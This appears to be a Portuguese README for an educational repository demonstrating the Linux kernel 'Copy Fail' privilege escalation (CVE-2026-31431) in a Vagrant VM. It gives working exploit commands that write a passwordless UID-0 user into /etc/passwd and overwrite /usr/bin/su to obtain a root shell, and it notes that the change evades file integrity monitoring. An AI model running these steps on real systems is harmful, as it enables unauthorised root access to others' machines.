
Uma demonstração e explicação do CVE-2026-31431
Uma demonstração e explicação do CVE-2026-31431, a vulnerabilidade de Escalação Local de Privilégios Copy Fail do Kernel Linux. A vulnerabilidade permite que arquivos abertos com permissão de leitura tenham dados sobrescritos no cache de páginas.
Este repositório é apenas para fins educacionais e ilustra a vulnerabilidade em um ambiente controlado. Os arquivos incluídos são:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
A vulnerabilidade, chamada Copy Fail, está presente nos kernels do Linux de 2017 a 2026 devido a uma falha lógica em algif_aead. Ela recebeu o CVE-2026-31431 com pontuação CVSS de 7,8, resultando em uma classificação de alta gravidade. O exploit é determinístico e pode contornar ferramentas tradicionais de monitoramento de integridade de arquivos.
Provas de conceito foram publicadas em várias linguagens, incluindo C, Python e Go, mas para esta demonstração é usado Python, que exige a versão 3.10 ou superior. Este exploit requer execução local de código como um usuário sem privilégios e pode ser usado para escalação local de privilégios.
As seções abaixo são:
Certifique-se de ter o Vagrant e o QEMU instalados. Em seguida, clone este repositório e navegue até o diretório do projeto.
vagrant up
vagrant ssh
Dentro da VM, podemos testar os limites das nossas capacidades.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
Obviamente, somos limitados em nossas capacidades, mas podemos usar a vulnerabilidade para escalar privilégios.
Para entender a vulnerabilidade, vamos sobrescrever um arquivo fictício e ver o que acontece.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Temos um arquivo com três linhas. A primeira linha tem 6 bytes (incluindo a nova linha), a segunda linha tem 2 bytes e a terceira linha tem um único byte. Isso é importante porque o exploit sobrescreve dados em blocos de 4 bytes, e preenchemos o payload para completá-lo.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Podemos ver que substituímos os primeiros 8 bytes do arquivo pelo nosso payload. Há dois caracteres que estão lá, mas não são imprimíveis. Abra o arquivo no nano para verificar.
Mas isso não é muito empolgante, então vamos prosseguir para escrever em arquivos para os quais não temos permissão de escrita.
Podemos sobrescrever o conteúdo de /etc/passwd para adicionar um usuário com privilégios de root, mas sem senha.
cat /etc/passwd
A primeira linha contém o usuário root e contém 8 grupos de 4 caracteres (incluindo a nova linha). Ela é formatada da seguinte forma root:x:0:0:root:/root:/bin/bash, e os valores se referem a nome de usuário, senha, UID, GID, diretório home e shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Adicionamos um novo usuário hackd com UID 0 e GID 0, o que significa que ele tem privilégios de root. O campo de senha está vazio, então podemos fazer login sem senha.
su hackd
id
cat /etc/shadow
No exploit original, o binário /usr/bin/su é sobrescrito com instruções para executar um shell, permitindo que o atacante obtenha privilégios de root ao executar su. Podemos recriar este exploit mirando /usr/bin/su com o payload original de um arquivo.
Observe que isso destrói o binário su no cache de páginas.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Com o payload no lugar, podemos executar su e obter privilégios de root. Isso abre um shell com o ID de usuário 0, que normalmente é o usuário root, mas se a demonstração acima foi realizada, seria o usuário hackd que criamos. Este exploit abriria um shell mesmo se o usuário root tivesse uma senha.
su
id
Este exploit não modifica o arquivo em disco, mas sim o estado do cache de páginas. Como resultado, ferramentas tradicionais de monitoramento de integridade de arquivos que verificam alterações nos arquivos em disco não detectam este exploit.
Para demonstrar isso, execute o(s) exploit(s) acima e, após reiniciar a VM, verifique o conteúdo do arquivo alvo.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
Os seguintes componentes são usados no exploit:
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loO commit que habilitou a otimização in-place que criou esta vulnerabilidade:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
A correção foi feita sem nenhum anúncio público e remove a funcionalidade da operação in-place em algif_aead:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Leia Mais:
Implementações em Python
Implementações em C
Implementações em Go